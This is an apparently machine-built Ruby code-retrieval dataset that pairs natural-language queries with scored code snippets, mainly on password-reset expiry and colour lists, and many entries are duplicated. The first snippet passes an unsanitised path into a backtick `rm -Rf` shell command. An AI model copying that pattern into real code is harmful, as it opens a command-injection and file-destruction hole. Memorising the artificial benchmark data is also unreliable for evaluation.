\"\", # path for which to delete all files\n }.merge(options)\n\n `\\\\rm -Rf #{options[:path]}`\n\n end", "title": "" }, { "docid": "7a6d60c6e148313183a27271eda36865", "score": "0.618864", "text": "def destroy_file\n if File.exist?(full_filename)\n FileUtils.rm full_filename unless self.parent_id.blank?\n end\n end", "title": "" }, { "docid": "5bebaa3656bead43eda887c5eef6ffd9", "score": "0.61805815", "text": "def unlink\n # Delete the directory\n @cleanup_proc.call\n\n # Undefine the finalizer since we're all cleaned up\n ObjectSpace.undefine_finalizer(self)\n end", "title": "" }, { "docid": "9954ad883198965e35e2005b8600ac36", "score": "0.6177495", "text": "def delete(key)\n @cache.delete(key)\n File.delete(path_to(hash(key))) if disk_cache_enabled?\n end", "title": "" }, { "docid": "03b8c34479a5b2409fd85aa4eb0af68e", "score": "0.6172205", "text": "def unlink\n FileUtils.rm_rf(@path)\n end", "title": "" }, { "docid": "968b57fa7c2bb0f52e867e563b200fa5", "score": "0.6171765", "text": "def delete\n FileUtils.remove_dir(@tempdir, true)\n end", "title": "" } ]
1785f9222ad9880cadfec4cad059555f
Returns true if the user's password reset period has expired
[ { "docid": "d6e8d7f51dd56b0bde43e1013125aa50", "score": "0.0", "text": "def password_reset_expired?\n return reset_sent_at < 2.hours.ago\n end", "title": "" } ]
[ { "docid": "b5d49aa7583158041f3d1b1511be5244", "score": "0.8722268", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "b5d49aa7583158041f3d1b1511be5244", "score": "0.8722268", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "54a48472e613a204501596d5d36a74af", "score": "0.8699539", "text": "def password_reset_expired?\n reset_sent_at < PASSWORD_EXPIRATION.hours.ago\n end", "title": "" }, { "docid": "715768f66ad2a9519841b1c5b87be1e8", "score": "0.86950755", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "715768f66ad2a9519841b1c5b87be1e8", "score": "0.86950755", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "715768f66ad2a9519841b1c5b87be1e8", "score": "0.86950755", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "715768f66ad2a9519841b1c5b87be1e8", "score": "0.86950755", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "715768f66ad2a9519841b1c5b87be1e8", "score": "0.86950755", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "19b45a5618e71f0460bf7cb6548a630a", "score": "0.8694459", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago # The password reset was sent earlier than two hours ago.\n end", "title": "" }, { "docid": "f205854f6fe79040e9fe73de5829333e", "score": "0.8676745", "text": "def password_reset_expired?\r\n reset_sent_at < 2.hours.ago\r\n end", "title": "" }, { "docid": "16cd02f28b4a9adc3aa339aaf9ffbdf4", "score": "0.86672324", "text": "def password_reset_expired?\n password_reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "a8973c0f43611f80212a0506afe79dab", "score": "0.86457056", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\t\t# check if reset was sent more than 2 hours ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" }, { "docid": "560a9f6ccb86a935533424f7298bca2b", "score": "0.86400396", "text": "def password_reset_expired?\n reset_sent_at < 2.hours.ago\n end", "title": "" } ]
b2fdcbd6bb7fb5caf6c93fea53ebda90
Add a color to the list of available colors for lines. Example: add_color('c0e9d3')
[ { "docid": "75e64825d481b72d8860c5509f84e37e", "score": "0.7501074", "text": "def add_color(colorname)\n @colors << colorname\n end", "title": "" } ]
[ { "docid": "37ea1b13e3fe34ea621401162b270e75", "score": "0.7564243", "text": "def add_color(color)\n @colors << color.upcase[0].to_sym # Allows user to both type in the full\n end", "title": "" }, { "docid": "f622f0feda451d6bb74834537da2a3b5", "score": "0.73006725", "text": "def add_color\n unless color\n self.color = get_color\n end\n end", "title": "" }, { "docid": "b0497a62abdf7327663d7415270a03cf", "score": "0.7118556", "text": "def add_colors\n rainbow_colors = [\n \"red\",\n \"light red\",\n \"light yellow\"\n]\n\n rainbow_colors << (\"green\")\n rainbow_colors << (\"blue\")\nend", "title": "" }, { "docid": "b64ff701c7f48529b1bb18a4ead59174", "score": "0.6853992", "text": "def set_color(color)\n self << Color.new(color) unless @current_color and @current_color.color == color\n end", "title": "" }, { "docid": "2b948c748981f3f4b74af37177d368bc", "score": "0.68381935", "text": "def set_color(color)\n self << Color.new(color) unless @current_color and @current_color.color == color\n end", "title": "" }, { "docid": "dfd1fdaab0eab3d008efda79d19f9aec", "score": "0.68346393", "text": "def add_colors\n change_rainbow_colors = [\"red\", \"light_red\", \"light_yellow\"]\n change_rainbow_colors.push(\"green\")\n change_rainbow_colors.push(\"blue\")\nend", "title": "" }, { "docid": "5deb4c074deaa1f07015ac94af0073c6", "score": "0.66413355", "text": "def add_colour(colour)\n @colour = colour\n end", "title": "" }, { "docid": "cfac96128ffee70b87ff0b390469b9b8", "score": "0.6599356", "text": "def add_color(color, h = {})\n unless color.is_a?(Array) && color.length == 3\n fail \"Color must be [R, G, B]. (#{color})\"\n end\n\n color.each do |i|\n next if i.between?(0, 255)\n fail \"Color component out of bounds. (#{color})\"\n end\n\n @representation ||= []\n\n if @representation.index(color) && !h.fetch(:force, false)\n return clear_cache\n end\n @representation << color\n\n if present.length > 16\n fail \"Palette must be smaller than 16. (#{present.length}, #{color})\"\n end\n\n clear_cache\n end", "title": "" }, { "docid": "48636aa13220ba5e0a6df0a32287c238", "score": "0.64503133", "text": "def add_line text, color = nil\n # prepend = test_env? ? \" +\" : \"\"\n prepend = \"\"\n out.print colorize(\"#{prepend}#{text.rstrip}\\n\", color)\n end", "title": "" }, { "docid": "0a77bc6095f8d593e5cc23eafcfcca07", "score": "0.6424605", "text": "def colors(*list)\n @colors = list\n end", "title": "" }, { "docid": "d19c2eaee50fda211bca8637a81c5536", "score": "0.6418162", "text": "def color=(code)\n @color = [code].flatten\n end", "title": "" }, { "docid": "88d56616467d90eb92529516f6f4038c", "score": "0.63314646", "text": "def add_color(color, group_name: nil)\n if color.is_a? Color\n if color_does_not_exist(color.name)\n if group_name\n group = find_or_create_group(group_name)\n group.colors << color\n true\n else\n @colors << color\n true\n end\n else\n raise Error, \"A color named #{color.name} already exists\"\n end\n else\n raise Error, \"Argument 'color' must be of type #{ASEPalette::Color}\"\n end\n end", "title": "" }, { "docid": "b0ad6e86922e68b2565319284c6e0f78", "score": "0.6320857", "text": "def apply_custom_colors(colors); end", "title": "" }, { "docid": "c495fa396435af01612b1705e8a868cd", "score": "0.6315015", "text": "def add_random_color\n @seq << COLORS[rand(0..3)]\n end", "title": "" }, { "docid": "fc3ccb6757334415d3f327e5e275d7e2", "score": "0.63142306", "text": "def add_random_color\n @seq << COLORS.sample\n end", "title": "" }, { "docid": "2ba5d30859004e2eff9593f2ece1d352", "score": "0.62850934", "text": "def set_color(string, *colors); end", "title": "" }, { "docid": "eb5ad8f3ab6b46330e6781b9bd096780", "score": "0.6255114", "text": "def line_color\n color = normal_color\n color.alpha = 48\n color\n end", "title": "" }, { "docid": "709e66489b9aca33a43c0a818c531e31", "score": "0.61543095", "text": "def line_color\r\n color = system_color\r\n color.alpha = 160\r\n color\r\n end", "title": "" }, { "docid": "ac5dabbc0ac1fa65352e6a32dfd9e2c5", "score": "0.61449516", "text": "def append_input_color(string)\n if input_color = @options[:colorize][:input]\n string + Paint.color(*Array(input_color))\n else\n string\n end\n end", "title": "" }, { "docid": "69496377f9efd71c3177c9f3108d5e12", "score": "0.6143026", "text": "def add_named(key, hex_or_color)\n c = if hex_or_color.is_a?(String)\n RMQColor.parseColor(hex_or_color)\n else\n hex_or_color\n end\n\n rmq_color_cache[key] = c\n end", "title": "" }, { "docid": "2ba4c6152425e6681aeaf9c98432bb9e", "score": "0.61040884", "text": "def test_color_add=\n assert @di.color_add = [5, 10, 20, 255]\n end", "title": "" }, { "docid": "7941f72c55170cf127b0c4d680a0fee1", "score": "0.60958505", "text": "def set_color\n end", "title": "" }, { "docid": "921ea261820f686729a402ffffede8b2", "score": "0.60862684", "text": "def set_color(string, *colors)\n color_enabled? ? string : super\n end", "title": "" }, { "docid": "e64109db7153e43b4ae6b5dcdc078ca0", "score": "0.6071364", "text": "def add(color)\n if @box_colors.has_key?(color)\n @box_colors[color] += 1\n else\n @box_colors[color] = 1\n end\n @count +=1\n end", "title": "" }, { "docid": "2c3990c758f0cbae0f64c6d1ad738047", "score": "0.60650516", "text": "def set_color color\n attrset COLOR_PAIR(color)\n end", "title": "" }, { "docid": "166a71aaa3394cd0693ac9ff9de9540e", "score": "0.6049719", "text": "def next_color\n nc = @colors.shift\n @colors.push(nc)\n nc\n end", "title": "" }, { "docid": "1250e44f8b0776f99510f41b8a9aad95", "score": "0.60450405", "text": "def color=(c)\n self[:color] = c\n end", "title": "" }, { "docid": "2c915bd1f298f95d42b63715dded7b3e", "score": "0.60269874", "text": "def color=(value)\n @color = value\n end", "title": "" }, { "docid": "2c915bd1f298f95d42b63715dded7b3e", "score": "0.60269874", "text": "def color=(value)\n @color = value\n end", "title": "" }, { "docid": "2c915bd1f298f95d42b63715dded7b3e", "score": "0.60269874", "text": "def color=(value)\n @color = value\n end", "title": "" }, { "docid": "3457560d5d1186b96a82dd94d984d178", "score": "0.6009676", "text": "def color(*rgb)\n color = WizRtf::Color.new(*rgb)\n if index = @colors.index {|c| c.to_rgb_hex == color.to_rgb_hex}\n index += 1\n else\n @colors << color\n index = @colors.size\n end\n index\n end", "title": "" }, { "docid": "40b664e3ff1ab72f7bca2c136b5a8335", "score": "0.60038704", "text": "def color\n LedString.push_color(params[:color])\n render nothing: true\n end", "title": "" }, { "docid": "ff5878ceada6606d0855379c0ac77d15", "score": "0.5977135", "text": "def color=(color); end", "title": "" }, { "docid": "ff5878ceada6606d0855379c0ac77d15", "score": "0.5977135", "text": "def color=(color); end", "title": "" }, { "docid": "1613feaac028986bd25b8f50fa7480dc", "score": "0.5967571", "text": "def throughline(text); colour(text, '9');end", "title": "" }, { "docid": "7652f300378a4bb0740027bede4aea34", "score": "0.5955016", "text": "def color\n color = [\"red\", \"yellow\", \"green\"]\n end", "title": "" }, { "docid": "468ca3fceef786b6c1ba2dc019ec4309", "score": "0.5938274", "text": "def line_color=(val)\n case val\n when String, NilClass\n @header_vline_color = val\n @header_hline_color = val\n @data_vline_color = val\n @data_hline_color = val\n when Array\n @header_hline_color = val[0]\n @data_hline_color = val[0]\n @header_vline_color = val[1]\n @data_vline_color = val[1]\n else\n puts val.class\n return\n end\n end", "title": "" }, { "docid": "7ea944c3ae938d858faf9e616816f0bb", "score": "0.59147954", "text": "def <<(color)\n r = [1.0, color.red * color.alpha + self.red].min\n g = [1.0, color.green * color.alpha + self.green].min\n b = [1.0, color.blue * color.alpha + self.blue].min\n a = self.alpha\n\n NSColor.rgba(r, g, b, a)\n end", "title": "" }, { "docid": "7a507eb0fe4c965501063b58371594cd", "score": "0.5901526", "text": "def add_named(key, hex_or_color)\n color = if hex_or_color.is_a?(String)\n Color.from_hex(hex_or_color)\n else\n hex_or_color\n end\n\n Color.define_singleton_method(key) do\n color\n end\n end", "title": "" }, { "docid": "b583e115a48277e700581d1b7e9cb5e9", "score": "0.5888153", "text": "def set_Color(value)\n set_input(\"Color\", value)\n end", "title": "" }, { "docid": "f1f669934457fcd06859221d6529b1b6", "score": "0.5881664", "text": "def set_color_from_line(point1, point2)\n end", "title": "" }, { "docid": "a9fe352a6693b63a7e2a554c88a98114", "score": "0.5873191", "text": "def set_color(color = 0x7FFF)\n @color = get_color(color)\n end", "title": "" }, { "docid": "e6ea09470f5cb6b27046652735c1c6e2", "score": "0.58646774", "text": "def add_colors(colors, group_name: nil)\n if colors.is_a? Array\n colors.each do |color|\n add_color(color, group_name: group_name)\n end\n else\n raise Error, \"Argument 'colors' must be of type #{Array}\"\n end\n end", "title": "" }, { "docid": "74d679f8f42c5836b4b6967e2f6a88f3", "score": "0.5857405", "text": "def +(color)\n r = (self.red + color.red) / 2\n g = (self.green + color.green) / 2\n b = (self.blue + color.blue) / 2\n a = (self.alpha + color.alpha) / 2\n UIColor.colorWithRed(r, green:g, blue:b, alpha:a)\n end", "title": "" }, { "docid": "f63a38892ec2ff1374f215fc2184e566", "score": "0.58342063", "text": "def color color\n output do |str|\n str << _last_color.push(c.setaf(color)).last\n yield(str)\n str << (_last_color.tap { |c| c.pop }.last || (c.reset + _last_set.last.to_s))\n end\n end", "title": "" }, { "docid": "608bf9e0a174497af529abddd6cc89c9", "score": "0.5824775", "text": "def colors\n @colors ||= SimpleTypedList.new Color\n end", "title": "" }, { "docid": "ce8c592929aee6b8359c5b8c445f3fbc", "score": "0.5809442", "text": "def highlight(line, color)\n case color\n when \"yellow\"\n \"\\e[1;33;40m#{line}\\e[0m\"\n when \"red\"\n \"\\e[1;31;40m#{line}\\e[0m\"\n when \"green\"\n \"\\e[1;32;40m#{line}\\e[0m\"\n when \"blue\"\n \"\\e[1;34;40m#{line}\\e[0m\"\n when \"white\"\n \"\\e[1;37;40m#{line}\\e[0m\"\n when \"cyan\"\n \"\\e[1;36;40m#{line}\\e[0m\"\n when \"magenta\"\n \"\\e[1;35;40m#{line}\\e[0m\"\n end\nend", "title": "" }, { "docid": "84fa98f12fac956e73fd189762dd0bfe", "score": "0.5805776", "text": "def color=(c)\n @color = Color.new(c)\n end", "title": "" }, { "docid": "a53c1022c932fe321369d615a1670cc6", "score": "0.58026785", "text": "def define_outline_color(font_id, color)\n end", "title": "" }, { "docid": "a53c1022c932fe321369d615a1670cc6", "score": "0.5802539", "text": "def define_outline_color(font_id, color)\n end", "title": "" }, { "docid": "a68a8910bbf18464c339762f07647603", "score": "0.58018667", "text": "def set_color(red, green, blue)\n output = ''\n output << \"\\e]6;1;bg;red;brightness;#{red}\\a\"\n output << \"\\e]6;1;bg;green;brightness;#{green}\\a\"\n output << \"\\e]6;1;bg;blue;brightness;#{blue}\\a\"\n end", "title": "" }, { "docid": "806accbb2400b2b430f8136497af3f5d", "score": "0.5800352", "text": "def line_color\n color = normal_color\n color.alpha = FantasyBestiary::Horz_Line_Opac\n color\n end", "title": "" }, { "docid": "b2bcb6d43651f0ba58624ead1b3ef9ef", "score": "0.5789969", "text": "def paint(new_color)\n if new_color.is_a?(String)\n @color = new_color\n else\n puts \"#{new_color} not allowed\"\n end\n end", "title": "" }, { "docid": "52ff0c375b95f7e03f599d66dad122e7", "score": "0.5780933", "text": "def add_line(ypos, params)\n color = params[:stroke] || 'black'\n @chromlines[ypos.round].add_line(color)\n @colors[color]=1\n end", "title": "" }, { "docid": "484c50316cbb1692457c3c112311b973", "score": "0.57773346", "text": "def colorize(*args)\n shell.set_color(*args)\n end", "title": "" }, { "docid": "d15f79966c27f1d759767a8aad7a9fa1", "score": "0.5773648", "text": "def color= c\n @color = c\n end", "title": "" }, { "docid": "194365906d3f33f42b128c0d7a14f7af", "score": "0.57723343", "text": "def color=(value)\n color.set(value.red, value.green, value.blue, value.alpha)\n end", "title": "" }, { "docid": "739e1586e56956eb78de1032372bbd4e", "score": "0.57687336", "text": "def color=(v)\n @color = v if v.is_a? Color\n color.rgb = v if v.is_a? String\n end", "title": "" }, { "docid": "63f18af8cf37f027d108445a1bedeff1", "score": "0.5756643", "text": "def color(string, *colors)\n string\n end", "title": "" }, { "docid": "852565bc74e17bd4e2a3fba515ed5959", "score": "0.57518184", "text": "def +(color)\n mix_with(color.nscolor, 0.5)\n end", "title": "" }, { "docid": "66903c9f933d9140fa4879eeb5afdfa0", "score": "0.5749408", "text": "def set_custom_color(index, red = nil, green = nil, blue = nil)\n # Match a HTML #xxyyzz style parameter\n if !red.nil? && red =~ /^#(\\w\\w)(\\w\\w)(\\w\\w)/\n red = $1.hex\n green = $2.hex\n blue = $3.hex\n 